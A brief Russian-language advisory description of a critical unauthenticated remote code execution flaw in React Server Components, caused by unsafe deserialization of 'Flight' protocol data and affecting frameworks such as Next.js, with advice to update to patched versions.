Описание	Критическая уязвимость удаленного выполнения кода (RCE) в компонентах сервера React. Приложения, использующие серверную среду выполнения React, включая такие фреймворки, как Next.js, затронуты. Проблема вызвана небезопасной десериализацией ненадежных данных протокола "Flight", что позволяет злоумышленнику добиться выполнения кода на сервере без аутентификации. Требуется обновление до исправленных версий React и фреймворков.
